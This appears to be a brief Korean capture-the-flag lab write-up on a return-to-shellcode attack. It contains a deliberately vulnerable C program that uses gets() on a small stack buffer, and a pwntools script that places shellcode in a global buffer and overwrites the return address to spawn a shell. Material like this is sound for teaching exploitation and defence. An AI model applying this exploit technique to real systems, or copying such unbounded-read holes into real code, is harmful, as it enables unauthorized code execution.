190403-lab3

ret2sc.c

 

#include <stdio.h>
 
char name[50];
 
int main(){
        setvbuf(stdout,0,2,0);
        printf("Name:");
        read(0,name,50);
        char buf[20];
        printf("Try your best:");
        gets(buf);
        return ;
}
 

보호기법 확인

slv.py

from pwn import *
 
# name_Addr
ret = 0x804a040
 
p = process('./ret2sc')
# architecture setting
context(arch='i386', os='linux')
 
p.recvuntil(':')
 
# sehllcraft로 shellcode send
p.sendline(asm(shellcraft.sh()))
 
p.recvuntil(':')
# Dummy + SFP + RET(name_Addr)
p.send('a'*0x1c + "bbbb" + p32(ret))
p.interactive()
 

 

Exploit Flow

 

1. name 전역변수 위치 확인

2. name에 shellcode 보내기

3. RET주소 name_Addr로 설정

4. exploit.